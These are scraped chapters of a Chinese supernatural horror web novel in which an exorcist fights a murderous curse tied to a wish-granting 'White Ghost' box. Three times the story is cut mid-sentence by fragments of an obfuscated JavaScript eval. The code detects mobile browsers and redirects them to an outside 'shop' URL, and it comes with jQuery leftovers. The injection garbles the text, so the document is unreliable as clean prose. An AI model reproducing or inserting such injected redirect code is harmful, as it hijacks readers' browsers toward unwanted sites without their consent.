他脑壳嗡嗡作响,下意识就想回头质问,但头只转到一半,就看到一道冷光迎面而来,锋利得刺痛双眼。 ——一把巨大的砍刀! “铮!” 砍刀贴着背刷的划过,只差几厘米就会把他从中间劈成两半。 周少麟在千钧一发之际把他压了下去,自己的位置却比他更高。刀锋切过他的右肩胛,留下一道十数厘米长的狰狞伤口。血瞬间濡湿了半个后背。 赵嘉言瞳孔一缩:“你……” “不碍事。”周少麟好像毫无痛觉,直接翻身起来,看向那柄出现得毫无征兆的砍刀。 大概有几米长,看样式是在厨房里切肉的刀,刀身长而宽,刀刃寒光闪烁,末端滴下几点血。 它像是被一只看不见的手握着,来回地在客厅中劈砍。桌椅、沙发,全部被切成两半。 “不要走。”嘶哑的声音在客厅里回荡,“不要走。” 砍刀在客厅荡过一个来回,又忽而调转方向,笔直地砍向赵嘉言! 周少麟立刻掷出匕首撞在刀侧,砍刀偏离了半分,赵嘉言险而又险地擦边避开。 “为什么要走?”声音充满悲伤,听了却只让人毛骨悚然,“为什么要离开?明明我做这些,都是为了你们。” “这是什么?!”赵嘉言冷汗涔涔,“之前没出现过啊!” “凶器。”周少麟冷冷道,“沈天合杀掉舒涵的凶器。” 屋里的空气忽然变得很粘稠,像是把人浸泡在白米粥里,呼吸都有些困难,隐约可以嗅到一丝血腥气。 周少麟忽然蹬地前冲,一把将赵嘉言推开! 砍刀第三次从赵嘉言头上划过。这次割开了周少麟的左肩。 血沿着手臂滴滴答答地落在地上,红得触目惊心。 “是不是这样你就不会走。”声音开始变得疯狂,砍刀也剧烈地震颤,“非要这样你才肯留下!” 赵嘉言觉得视野变模糊了。空气似乎在扭曲、下坠,碎裂的家具边缘开始渗出血来。 他甚至看到地面开始浮现出肢体,一些零碎的肢体,不属于他们中的任何一个,像是早就被砍碎了,扔在这里。 巨大的恐惧和恶心感翻涌上来,赵嘉言下意识地想摇周少麟来看,但后者却像是浑然无觉。 周少麟目不转睛地盯着晃荡的砍刀,猛地抬手,将刺刀投掷出去! 他并没有瞄准砍刀,而是掷向了刀的上方。 那里分明什么都没有,但赵嘉言却看到空气剧烈地震荡了一下,刺刀像是击中了什么坚硬的东西,铿然弹回,刺进墙中! ……怎么回事? “躲墙角。”周少麟语速很快,“然后闭眼。” 没等赵嘉言反应过来,他就消失了。 赵嘉言缩在墙角,只看到一个黑影迅速地掠过墙面,跃到半空。一道赤金的光影从砍刀上方一闪而过,快得让人怀疑是错觉。 下一秒,周少麟落到地上,砍刀像是忽然失去了控制,直直地撞进墙壁里! “砰!” 巨大的刀身卡死在墙壁中,一动不动了。 “你……”赵嘉言站在满地狼藉中,目光滞愣,“你做了什么?” “砍断手。”周少麟指了指天花板,“有一只白色的手在握着这柄刀。” “我什么都没看到……”赵嘉言揉揉眼睛,“而且你是用什么砍的,刀不是扔出去了吗?” 周少麟捡起匕首,发现卷刃后又丢开,从墙壁上拔出刺刀,“别问了。” 看来是不打算说。 赵嘉言习惯了。想来也是,二级除魔师有些特殊手段多正常。 “说起来,这次为什么会忽然出现砍刀?之前不都没事吗?” 赵嘉言的目光扫过客厅,看到那些零零散散滚了一地的、血肉模糊的肢体,又心有余悸地移开视线。 周少麟的眼神黯了黯:“不该看那封信吧。有些关键信息会触发域的杀戮机制。” “……所以,沈天合真的是因为舒涵想离婚就砍死了她?” 赵嘉言想到那些混乱的话语,不寒而栗。 这个可能性简直比沈天合纯粹受诅咒发疯杀人还要可怕。他曾经那么爱舒涵,倾家荡产也想治好她,最后却只因为她想离开自己而砍死了她。 ……是因为他本来就是这样的人,还是因为他被诅咒改变了? 当年沈天合想用什么和讨债人做交换? 讨债人大概率是死了,而他也彻底变了。这中间发生了什么? 也许就是在那个时候,他向白幽灵许下了第二个愿望,企求庞大的财富。 可白幽灵向他收取了什么代价? 一截辨不出形状的肉掉在沙发旁,断面渗出黑色的血来,像是有生命一样,缓缓在地上蜿蜒流动。 赵嘉言飞速后退几步靠在门上,瞳孔收缩:“周——” 一双冰凉的手抚上了他的脸。 手直接从门上伸出来,惨白,冰冷,仿佛石膏做成,抚摸的动作又亲昵得像是情人。 赵嘉言下意识地后仰抬头,对上了一张陌生的、温柔的脸。 脸浮在空中,两侧往下缓缓淌血,白色的眼球死气沉沉地凸出来,目光却那么温柔缱绻。 “为什么要走?”青紫的唇瓣微微翕动,“你不想我活过来了吗?” “为什么要走。”那张脸慢慢地贴近他,“你不想实现愿望了吗?” “我,”赵嘉言呆呆地张了张嘴,“我……” 就在此时,周少麟伸手飞速地将他从门边拽开。下一刻,刺耳的电锯声轰鸣,直接洞穿了木门刺出来! “我们来啦。” 一个血糊糊的人形站在破碎的木门后,露出了裂到齿根的笑容,“东西呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就这么一会儿时间,他竟然真的废了四个讨债人追上来了。 周少麟蹙眉:“你怎么了?” “出不去。”赵嘉言双眸无神地喃喃。 他崩溃地抱住头:“——门外还是红梅公寓。我他妈出不去啊?!” * “……” 周少麟没有说什么,只是绕过他,推开了门。 他只探了半个身子出去,手甚至还扶着门,很快就回来了。 “也许我知道原因了。”周少麟对他伸出手,“把你的包给我。” 赵嘉言抬头,惊恐的神情中浮现一丝错愕:“……什么?” “趁我还能好好说话。”周少麟的语气已经有些冷下来了,“把包给我。” “不是,”赵嘉言反而往里缩了缩,手紧紧地扣着带子,“到底怎么了?好歹解释一下啊?” “难道不应该你向我解释吗?”周少麟低笑一声。 “——你找到了封印白幽灵的黑匣子。是不是,赵嘉言?” 11.红房子(10) 夜风呼啸,树影婆娑,月光在水泥地上投下两个人单薄的剪影。 “少麟,”赵嘉言的声音轻微打颤,“你在说什么啊?我怎么会……” 周少麟干脆地打断他:“诅咒没有祓除,就不可能带着它的依附物离开域,所以你出不去。” 赵嘉言瞳孔一震。 “除此之外还有很多证据。”周少麟冷冷地看着他,“最明显的就是在301号房,砍刀只追着你砍。而且你出现了幻觉对不对?但我什么都没有看到。这是因为域会优先攻击依附物的携带者,无论是通过直接猎杀还是精神污染。” “——是我警告得不够清楚吗?你见过那些因为白幽灵而迷失的进入者,也知道了沈天合的下场,到底为什么还想跟白幽灵许愿?” “我……” 赵嘉言下意识地把包搂在了怀里,浑身颤抖地喊道:“我和他们不一样!” “哪里不一样。”周少麟说,“因为你找到黑匣子了,其他人都是迷失于寻找的失败者?” 赵嘉言一僵。 “那你听过他们说的话吗?”周少麟一字一句地重复,“‘找到了,还给我。’” 还给我、还给我、还给我。 每个进入者的怨灵都在不断重复这句话。 “——不是他们没有找到黑匣子。所有想向白幽灵许愿的人都跟你一样,一进域就会找到。” 周少麟目光寒凉:“只是从来没有人能带着它离开这里。” ……所以,钱哲的愿望是“出去”。 他找到了黑匣子,想带着它出去,许下愿望。 但是谁都不可能带着依附物离开诅咒域。即使侥幸躲过讨债人的攻击,侥幸发现规律,侥幸逃到大门前,也只会重新进入红梅公寓而已。 找不到出路的进入者必定被域杀死。死后,他们的执念又化成怨灵,徘徊在公寓里,不断地寻找黑匣子,杀死房客和外来者,重复着毫无意义的循环。 “如果不肯放开黑匣子,就注定被困死在这里,没有谁例外。” 周少麟再次伸出手,语气严厉:“所以现在立刻把它给我,赵嘉言!” “——可是我不能!!” 赵嘉言抱着背包退后两步,疯狂摇头,眼眶红肿,“……我知道,你说的这些我都知道了。但我真的不能。” “我妈快要做手术了,她需要钱。就算出去,我也不可能在期限前弄到那么多……但我妈不能错过这次手术,只要成功她很有可能好起来了!只要有钱她就能好起来了啊!!” “……”周少麟握刀的手攥紧了,“向白幽灵许愿的结果你不知道?” “我知道!我知道要给代价!”赵嘉言嗓子沙哑,“可代价和愿望不是对等的吗?!所以我不会要那么多的,我不会许愿让她直接被治好。我没那么贪!” “我只是……我只是想要钱,即使不够让她完全治好也没关系,够这次手术就行了。我就想要这个机会。这样总不可能要多高的代价吧?!” 赵嘉言的目光中流露出深深的哀求:“……我就想让我妈活下来。我就要这么多。只是手术钱而已,多的我一分也不要。何况她本来就不是必死的,她本来就有可能被治好啊!” “是,你是除魔师,当然会觉得求助鬼神很愚蠢。可我没办法!我们走投无路的人哪管得了这么多啊!” 赵嘉言颤颤巍巍地从包里取出一个方方正正的东西,“只要……只要能拿到钱给她治病,什么代价,我都愿意。” ——那是一个漆黑的乌木匣子。半张纸大小,纹饰精巧,表面布满鲜红的符文。 赵嘉言看着匣子,手抖得厉害,“……在域里,我不管怎样都打不开这个匣子。是因为它就是诅咒的依附物吧?诅咒不死,我没办法打开它。” 所以当时他问周少麟要不要通过破坏依附物来杀死诅咒。他在试探他的态度。 可是现在,已经没有试探的余地了。 赵嘉言扑通一声跪到地上,双手捧着匣子,颤抖地递到周少麟面前: “我打不开,但你一定有办法的,对不对?你是除魔师,你知道怎么破坏诅咒的依附物。” 咚的一声闷响,赵嘉言高举着盒子,重重地磕下了头! 额头迅速渗出血来,他抬起脸,鲜血沿着鼻尖流下,与滚烫的眼泪交织在一起。 “所以……求你了,求你,真的求求你。” “……求你了,少麟,破坏依附物,然后去杀了那个怪物好不好?” “——杀了它。它死了我就可以出去了,它死了我妈就有救了!!” * 银月高悬,栅栏的影子横在两人中间,沉默在凝滞的空气中蔓延。 “赵嘉言。”周少麟开口,“你说你愿意为这个愿望付出一切代价,是吗?” 赵嘉言如获赦免般抬起脸,疯狂点头:“愿意!什么我都愿意!” “比如呢。”周少麟语气淡凉,“抢劫愿意吗?杀人愿意吗?在你母亲病好后割掉她的器官去卖,愿意吗?” 赵嘉言怔住了。 周少麟俯视着他,滴血的刀尖点在地上,折射出冰冷的光。 “你许愿得到能治好她的钱,为此愿意付出对等的代价。那如果你母亲最后因这个代价死去,你能接受吗?” 长久的沉默。 “你说的……也太极端了。”赵嘉言的声音有些涩滞,“怎么会到这个地步?” “那你觉得代价是什么。”周少麟很平静,“断手断脚?双目失明?” “……”赵嘉言呆了呆,恨恨地一咬牙,“只要我妈没事,我就都能接受!” “你的愿望与她相关,为什么觉得她不会有事。”周少麟继续道,“如果是你双目失明,她为了照看你积劳成疾旧病复发呢?可以接受吗?” 赵嘉言一愣:“……” “如果是你断腿住院,她为了给你攒手术费而去卖器官呢?可以接受吗?” 赵嘉言的神色有些摇摇欲坠了:“……” “不会吧,赵嘉言,这些你从来都没有想过?” 周少麟的语气并不激烈,言辞却句句锋利:“你就这么相信自己的幸运和独特?你在面对一个未知诅咒给出的未知代价,怎么敢不做任何假设?” “你许愿是希望母亲好吧?那如果她因为这个代价而受伤,你打算怎么办?再许一个愿望吗?然后呢,你想再许多少个愿望?” 周少麟目光森冷:“——如果代价会反噬,多少个愿望足够你真正救她?” 冷汗混着血从额间砸落,赵嘉言低头看着地面,目光空洞。 他的手不知何时垂下了,黑匣子静静地放在地上,近在眼前。 这是白幽灵的封印物。鎏金的装饰,鲜红的咒文,美丽而诡谲。 就是它的传说吸引着无数人来到红梅公寓。谁找到了它,谁就是被白幽灵选中的、最大的幸运儿。 他知道,想要实现愿望,就必须付出代价。 可是,付出了代价,愿望就真的能实现吗? “我……”赵嘉言的手在颤抖,嘴唇也在颤抖,“我……” 话音未落,周少麟骤然转身,一刀挥出! 刺刀铿然撞上了一只惨白的手,火花四溅。岩浆般的纹路迅速从雪亮的刀身上浮现出来,周少麟立刻松手,提起赵嘉言向后掠去! “砰!” 刺刀在空中炸开,锋利的碎片向四周射去。赵嘉言恍惚间抬眼,只见一点银光在视野里不断放大,那是一块刺向面门的刀片! 惊变来得太快了,他甚至来不及使用灵器,只能眼睁睁看着死亡逼近。 ——但预想中的疼痛并未到来。一只手横在他面前,生生握住了那块飚射的碎片! 刀刃穿透掌心,几滴血溅到他脸上。同样的温热。 “手……”赵嘉言的瞳孔战栗地缩成一点,“你的手……!” ——碎片几乎嵌进了整个手掌,伤口狰狞得像是一只淌血的眼睛。 周少麟拔出碎片扔掉:“左手。” 碎片当啷落地,洒出细小的血点。他漠无表情地转头,凝视着前方。 惨白的长肢已经收了回去,一个畸形的身影缓缓从黑暗中浮现出来。 苍白枯瘦,手脚着地。类人的四肢都怪异地萎缩起来,背部却臃肿得像个小山包,八只粗壮的手臂从里面生长出来,在空中晃晃悠悠。 每个手掌里都是一张扭曲的人脸,表情或是恐惧,或是愤怒。但那个白色的怪物自己却没有脸,锥形的头部只有一双赤红的、暴凸的眼睛。 ——痛苦地、死死地盯着他们。 “为什么,没有复活?”它的声音嘶哑而颤抖,“我已经,给够了……为什么,没有复活?” 八张脸同时惨叫起来,流出滚烫的血泪。 * 畸形怪物没有再攻击,它只是在原地蜷缩成一团,背上的八条长肢越发疯狂地舞动,如同地穴里的巨蟒在吞噬彼此。 赵嘉言整个人都笼罩在这扭曲的阴影下,神色木然,一动不动。 他不知道自己是该震惊还是恐惧,只觉得浑身发冷,像是在一点点坠入冰窟。 “看到了吗?”周少麟的声音平静地响起。 “——那就是沈天合。” “赵嘉言,现在回答你,为什么沈天合杀死四个人就会停下。”周少麟说,“因为在他向白幽灵许愿获得财富的时候,死的就是四个讨债人。” 五年前,一贫如洗的沈天合到底能用什么和讨债人“交换”? 很容易就能想到的答案——愿望。 或者说,能实现一切愿望的白幽灵。 沈天合用舒涵的痊愈来作为自己被眷顾的证明,取信于四个贪婪的讨债人,借此机会再次向白幽灵许愿。他知道愿望必然付出代价,但已别无选择。 这一次,他企求的是财富。 “向诅咒企求愿望,代价多半有关血肉献祭。沈天合为财富付出的代价是背负人命,这四个讨债人因此而死去。沈天合一定目睹了他们的死状,否则无法在域里拟造。” “——但他却不知道自己要为治好舒涵而付出的代价。两年后舒涵要求离婚,他在争吵中错手砍死了她。” 以命换命,以血还血。治愈爱人的代价是亲手杀死她。 手掌发出的惨叫凄厉得渗人,赵嘉言几乎要不受控制地跪倒在地。周少麟扶住他的肩膀,依然稳如风浪中的礁石。 “从疯狂中清醒的沈天合无法接受舒涵的死亡,绝望之下,再度想到向白幽灵许愿,希望让妻子复活。” 畸形的怪物还在焦躁地爬行,破碎的哭音像是从它体内深处传来一般。它在喊一个名字,它在质问,一遍又一遍。 白幽灵、白幽灵……白幽灵。 “但他比任何人都清楚,白幽灵是要收取代价的。” “于是,就像当年他用四条人命换来财富与权势一样,这次他打开邻居的家门,又杀死了四个人。” “他用这种方式表示自己甘愿献上代价,只求白幽灵再次实现他的愿望。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178520|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当然不可能了。”周少麟冷淡地说,“四个人死后什么都没有发生,白幽灵并未回应他。” 长肢扭动的速度慢了下来,四周的空气逐渐变得粘稠而扭曲。 怪物萎缩的身体剧烈起伏着,那双赤红的眼睛锁死在周少麟身上,越瞪越大,直到占据了半张脸。干瘪的眼珠凹陷下去,像是被剜掉了一块血肉。 但周少麟依然在继续: “沈天合不能接受这个结果。他无法接受自己杀了妻子,杀了四个人却没能复活妻子。所以他疯了,当场自杀。强烈的执念成为诅咒,创造了这个域。” “在这里,他为了复活妻子而化身怪物,不断地手刃仇人、杀死友邻、困住同类。在循环的同一天里,一个诅咒向另一个诅咒祈求奇迹。” “杀够四个人,去看妻子是否复活,没有,再杀。杀够四个人,去看妻子是否复活,没有,再杀…… “……三年过去,他成功了吗?” * 风声呼啸,哭声惨厉,但落到赵嘉言耳中,只有一片模糊。 他只觉得自己正浸泡在水底,浑身冰冷,呼吸困难。 他近乎逃避地低下头,与地上的影子对视,却看见了舒涵那双死去的、哀怨的、全是眼白的眼睛。 她说:你不想我活过来了吗? 这不是舒涵的愿望,而是沈天合的愿望。 沈天合将红梅公寓的时间定格在了三年前杀死妻子的那一天,像是嫌四个房客不足够,又创造了讨债人作为衍生物。 ——毕竟,这才是最初为他换来财富的“代价”。 房客、讨债人、外来者,都是他甘愿向白幽灵献上的祭品。 许愿妻子病愈,付出的代价是亲手杀死妻子。 失去妻子后,又想以杀死其他人作为代价,许愿妻子复活。 但沈天合不知道,无论如何挣扎祈祷,无论再杀死多少人,舒涵都永远不可能回来了。 无论是在现实,还是在域里。 ……因为,她就是那个愿望的代价。 * 黑匣子静静地躺在地上,被月光镀上了一层柔和的银白。周少麟俯下身,拾起它。 几乎是在他动作的瞬间,一只惨白的长肢飞旋过来,掌心的人脸张大了嘴。周少麟早有准备地拎起赵嘉言躲开,地面被长肢抡出一条深痕,随后爆裂开来! 沈天合似乎终于被激怒了,喉咙中滚出一声吼叫。空气也随之剧烈地震颤起来,扭出水波般的纹路。 它已经杀够了四个人。如果再要进行杀戮,那就不是因为愿望,只是在发泄痛苦。 “如果代价等于愿望,那愿望本身就是诅咒。” 周少麟一手拿着黑匣子,一手把赵嘉言放在门口——那是域的边界。 他转过身,最后道: “……如果真的想为你母亲好,在彻底迷失于这个域之前,逃出去吧,赵嘉言。” * 跪倒在地的身影静默得如同石像。 几秒后,赵嘉言拿起背包,哐啷一声撞开门,头也不回地跑了出去! 在周少麟背后,这个踉跄狂奔的人影消失在了门外。 这一次,他没有再折返。 即使强行取走黑匣子,被域所迷惑的人也无法从边界离开,要么不断徘徊,要么重新进入。这就是周少麟选择解释而非强制驱逐的原因。 如果赵嘉言想通,再跑一段路就能真正离开域了。 黑匣子被握在左手,浸透了血,周少麟与沈天合遥遥对视。现在,域里只有他们两个。 “白……幽灵……”沈天合凝视着黑匣子,血从眼眶中涌出来,流过凹凸不平的脸,“我给了……该你了……该你了……” “复活,舒……涵……” 它的声音沉重含混得像是在哭。 这其实不是一个嗜杀的诅咒,它并不主动攻击,重复杀戮,只是为了那个扭曲的愿望。 “舒涵已经死了。”周少麟一字一顿地说,“是你杀了她。” 在怪物骤然凶戾的目光中,他随手把黑匣子扔在地上,“白幽灵不会复活她,你再杀多少人都一样。” 攒成一团的八只长肢瞬间刺了过来,八个手掌同时打开,每一张脸都神情怨毒,每一张嘴都在嘶声尖叫! 电光石火之间,周少麟抬手在颈前一划,黑色的颈环化作一柄修狭的长刀,将最前面的三只长肢齐齐斩断! 刀光在黑暗中画出一个赤金的圆弧,留下火焰灼烧般的痕迹。 掉落在地上的手臂抽搐两下,从断面开始燃烧起来,在几秒里化成了灰烬! 这一刀太过迅疾而锋利,从斩杀到收势都只在瞬息。周少麟的手还按在刀柄上,仿佛从未动过。 刀刃通体漆黑,狭窄修长,微弯的寒铁上铭刻着鎏金的纹路。赤金的火焰在刀身上缓缓流淌,呈现出比鲜血更浓郁的颜色。 古之利器,吴楚湛卢,大夏龙雀,名冠神都。可以怀远,可以柔迩,如风靡草,威服九区。 ——名刀龙雀。在无数传说中,死亡是它的延伸。 周少麟横刀在身前,正对着嘶吼的怪物,目光一如既往地沉静。 他的瞳孔不知何时变成了纯粹的金色,璀璨、明烈、灼灼如烧,没有丝毫感情。人类面对这样一双眼睛会产生窒息般的压迫感,所幸此刻他面前只有怪物。 赵嘉言固然满口谎话,但他也并不诚实。周少麟从未提出与诅咒正面交战,原因只有一个。 他真正猎杀的样子,不想被任何人看到。 12.红房子(11) 夜风尖啸,树影斑驳。周少麟安静地站在原地,熔金的瞳孔在夜色中亮得慑人。 在他眼中,一切都变慢了。飘落的枯叶,流动的风,狂舞的长肢。世界的轮廓逐渐模糊,灵力的轨迹却清晰起来,每一个细节都纤毫毕现。 如果赵嘉言还在这里,他会认出这是什么,并怀疑自己的眼睛。 ——天生灵器,金冥双瞳。悉皆洞观,彻视八方。 持有者无须任何术法就能洞悉灵力轨迹,那是人类无法想象的视域。历史上曾拥有它的通灵者不到二十个,无一不是绝世的天才。 长刀铮然挥出,化成一道惊雷! 与诅咒对峙,周少麟竟然是出击的那一个。他快得几乎成了一个虚影,几起几掠间闪过致命的攻击,直接刺向沈天合的头颅! 沈天合能让触碰到的东西都爆裂开来,这是它作为诅咒的天赋能力,但龙雀能压制诅咒的天赋。 所以,只需要和之前一样——斩下头,或者刺穿心脏。 一张扭曲的人脸挡在了前面,腥红的嘴张开,吐出一颗肉芽。 周少麟将它切成两半后又错步旋身,反手削断接踵而至的另一只长肢。在长肢收缩之际,一刀捅进了沈天合的左眼! “嘶啊——”怪物吃痛地嘶吼,几根长肢瞬间绕回来,对准他张开了嘴! 完全体诅咒再生极快,砍断的肢体能迅速重生。无数人脸手臂如蟒蛇狂舞,周少麟以人类难以想象的迅捷穿梭其中,每一刀都会精准地斩断一根长肢,留下灼烧的断面。 致命的攻击密不透风,他的动作却丝毫不乱,海量的战斗信息在毫秒内被接收并转化为最高效的应对方式,精密得就像按指令运行的机械。 沈天合的速度已经远超之前,但周少麟的反应仍在它之上! “哐!”“哐!”“哐!” 折断树木、碾碎车辆、撞塌墙壁。 一黑一白两个影子以超越肉眼的速度在庭院里相互碰撞、厮杀,乳白色的血液不断泼洒在地,被斩断的肢体扭动着熊熊燃烧,发出惨厉的嚎叫! 与此同时,沈天合的身躯也在不断膨胀。地上的残肢越来越多,它背上的人脸手臂却愈发粗壮。脸从掌心挣扎地凸出来,仿佛要在那里长成一个新的头颅。 周少麟避开撕裂的人脸,抓住空隙跃到它的脊背上,一刀捅进了心脏的位置! 赤金的烈焰从刀身上燃起,沈天合的喉咙里滚出野兽般的嘶吼,所有手臂向中间收拢,八张人脸同时从上方袭来! 在被围拢前,周少麟迅速后撤拉开距离,在斜后方落地。 沈天合被刺瞎的左眼正在汩汩冒血,右眼怨毒地盯着他。 龙雀的火焰在它脊背上灼烧,乳白的血液变成了焦黑色,粘稠地滴落在地上,那些膨胀得几乎要将本体压垮的人脸手臂疯狂惨叫着。 “复……活……”沈天合发出古怪的咯咯声,像是脊椎被压裂了,“复……活!” 八只人头手臂暴卷而来! 周少麟平平挥刀,逐一斩断。 透过飞溅的血花,他注视着正在被龙雀业火灼烧的沈天合。 诅咒的形貌是内心的折射,变异象征强烈的渴求。 渴望得到白幽灵的回应,于是全身都是石灰一样的白色。 痛苦于犯下的累累血债,于是身体萎靡蜷缩。 不甘放弃复活妻子,于是与杀死的人融为一体。 四肢着地,佝偻爬行,因为背负着沉痛的人命、扭曲的希望。 本体飞速萎缩,背后的人脸手臂却不断生长,因为它在用自己去喂养这些“代价”。 ……也许是觉得自己的愿望不够虔诚。 诅咒是无法用正常的思维去理解的。它们太极端,太扭曲。 就像是从人身上掉下来的一只手或一只脚,被灌溉喂养后,生出丰盈的血肉。 指甲上长出眼睛,脚背上冒出头发。那绝对不是人。 “复,活。”满地的白色血液里,所有肿胀的人脸都重复着同一个音节,“复……活……” 最后一个人头手臂被削飞,周少麟纵身上前,瞬息间逼近本体,熔金的眼底掠过一丝寒意。 怎么复活。 沈天合已经萎缩得不成样子了,光秃秃的后背鲜血淋漓。 它贴在地上,努力地仰起脸,右眼裂开一个巨大的口子,但并没有什么危险的东西再伸出来,只有白色的眼泪滚出。 周少麟一刀斩下了它的头。 * 整个庭院都涂满了粘稠的、白色的血液,残肢断臂在血泊里挣扎着,每一张几乎挤破手掌的人脸上都是真实的痛苦。 一颗不成形状的头颅缓慢地爬行在它们之中,脖颈的断面流出蜿蜒的血迹。 “白……幽灵……”沈天合的声音低沉得像哀鸣,“白……幽……灵……” 很意外,它的落点竟然离最开始周少麟扔下黑匣子的位置不远。 方正的黑匣子倒映在沈天合干瘪的右眼里,它注视着它,扭动着脖颈、下巴乃至面部的肌肉,一点点地靠近。 月光下,只有这一个人头还在死寂的庭院中挪动。 “白……幽灵……” 沈天合距离黑匣子越来越近,头颅也越来越小。表皮和血肉剥落,它正在逐渐融化。 在只有不到半米的距离时,这颗已经融成一团、面目不清的人头忽然不动了,随后脑侧长出了两只小小的触手,缓慢地向黑匣子伸去。 不知是想砸碎它,还是想哀求它。 但无论哪种,都不可能做到了。 人头很快融完了,灰白的触手颤了颤,无声地化作齑粉,随风散去。 * 诅咒死了,所有的人脸残肢也一点点地消失,房客、外来者、讨债人。深色的灰烬被风卷起,飘洒在空旷的庭院。 周少麟松开手,漆黑的长刀重新化成了颈环。 他行走在飞灰之中,在人头的不远处停下,静默地看着黑匣子前那一小滩石灰水。 惨白、粘稠,混杂着血丝,红白相间。这就是沈天合的执念最后残留的痕迹。 ……到死都在挣扎。 也是。能放弃的话,就不会成为诅咒了。 自以为是地许下愿望,自以为是地付出代价。却不知道,生前无法做到的事,死后也一样。 沈天合从一开始就不应该许下这个愿望。 更不应该,为自己的欲望去伤害他人。 如果他没有借高利贷,也没有向白幽灵许愿的话,至少舒涵能平静地度过最后的时光。 至少沈月能有一个正常的童年。 至少不会有任何无辜者因此惨死。 ……追求着不属于自己的东西,最后想要的、拥有的,全部都失去了。 远处有风吹来,风中有人絮语,声音也像风一样缥缈。 “所以,想要爱的人活下去是错的吗?” 周少麟身子一僵,猛然回头! 背后什么都没有,枯叶翻转着飘落。 “……想要爱的人活下去,是错的吗?” 声音又响了起来,比之前更近。 周少麟维持着转身的姿势,静静地站了好一会儿。他意识到这里确实只有自己一个人。 “是错的吗?”熟悉的声音还在幽幽询问。 “是啊,错的。”许久的沉默后,周少麟轻声说。 “……所以你们才死了啊。” 纤长的睫羽浸润了血,在垂下时微微遮挡住视线。那双永远让人感到危险和恐惧的金瞳,第一次有些黯淡无光。 * 庭院的月光明净如水,照在满地的残骸之上。周少麟绕开那摊石灰水,俯身捡起黑匣子。 这个动作牵动了腰部的伤口,他下意识地蹙眉。 在给沈天合穿心一击的时候,他没有去躲避人脸手臂的攻击。其中一只伺机咬住他的右腰,生生撕下了一大块血肉,几乎露出白森森的肋骨。 撕裂般的伤口仍在往外淌血,激战一结束,剧烈的疼痛便追上了他的知觉。 这种伤口放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190546|196465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在谁身上都足以失血致命,但周少麟只是脸色苍白了少许。他试着调整呼吸以适应疼痛,随后走到门边,从包里取出绷带和伤药。 先用碘伏擦拭伤口进行消毒,用完所有棉签后,伤口还在出血,周少麟直接把软膏抹在纱布上按住伤口,用绷带在腰间一圈圈缠好。 血渍很快透了出来,周少麟并不在意。棉签用完,肩膀上的砍伤他也不管了,只用绷带包扎好被刺穿的左手。 他在几分钟里处理了要在医院躺一个月的重伤,手法简单粗暴,动作流畅娴熟,但不像包扎,更像是在工厂流水线作业。 做完这一切后,周少麟拿起黑匣子靠在墙上,默默看着前方。 诅咒死了,但黑匣子仍然是域的依附物。带着这个他走不出去,只能等域自然消散。 他垂眸,仔细打量起黑匣子。鲜红的咒文密密麻麻地写满了整个表面,字符相互勾连,仿佛正在律动。 ——这就是白幽灵的封印物,一切的起源就在其中。 沈天合当初封印白幽灵的方式也是一个疑点。 黑匣子看上去是一级的封印物,但白幽灵这么诡异的诅咒,保守估计也是一级。同级封印极其困难,他是怎么做到的? 黑匣子钳制了白幽灵的绝大部分力量,但也并未彻底封死她。白幽灵应该还能对周围施加一定影响,正如当时进入他的梦境。 也许她还能听到那些人的愿望。 所以沈天合杀人后试图许愿,却没有将她放出来。因为白幽灵甚至没有回应他,直接拒绝了这个愿望。 为什么? 明明无论人类还是诅咒,都会本能地追求自由。 “……” 周少麟摇摇头,中止了自己的思绪。 任务已经结束,他只需要把黑匣子上交给管理局。白幽灵过去的作为和未来的下场——被直接祓除或者切片研究,他并不关心。 风停了,乌云遮蔽月光。庭院不知何时彻底静了下来,周少麟靠在墙上,心中忽然升起一丝不详的预感。 ……太久了。 从他杀死沈天合到现在已经过去十多分钟了,诅咒域消散根本不该用这么长时间。 更不应该的是,在诅咒死后,红梅公寓乃至这里的一草一木,没有任何崩解的迹象! 龙雀无声无息地被周少麟握在手中,金瞳掠过一丝锐利的冷光。 域没有瓦解有两个可能。第一,他没有真正杀死诅咒。第二,域里还有另外一个诅咒。 ——如果是后者,那赵嘉言可能根本逃不出去! 远处忽然传来一阵慌乱的脚步声,周少麟收刀站在门侧,看到一个人影正在跌跌撞撞地跑过来。 他的身后空无一物,可他却在向前狂奔,惊恐得仿佛在被全世界最可怖的怪物追赶,竭力到姿势都有些扭曲。 “少麟!”赵嘉言看到他,恐惧的脸上浮现一丝惊喜。他疯狂地朝前伸手,“你在这里——救我!救救我!” 这一声大喊破坏了本就摇摇欲坠的平衡,他猛地踉跄了一下,向前跌去。 熔金色从周少麟的瞳中褪去,他立刻上前扶住赵嘉言:“怎么了?” 赵嘉言的衣服被撕破了,包也不知所踪。他满身都是漆黑的烙痕,整个人却惨白得像是刚从水里被捞出来。 “逃不出去。我逃不出去……我还是逃不出去!”他死死地攥着周少麟的手臂,神情近乎崩溃:“有东西在追我……她还在追我……” 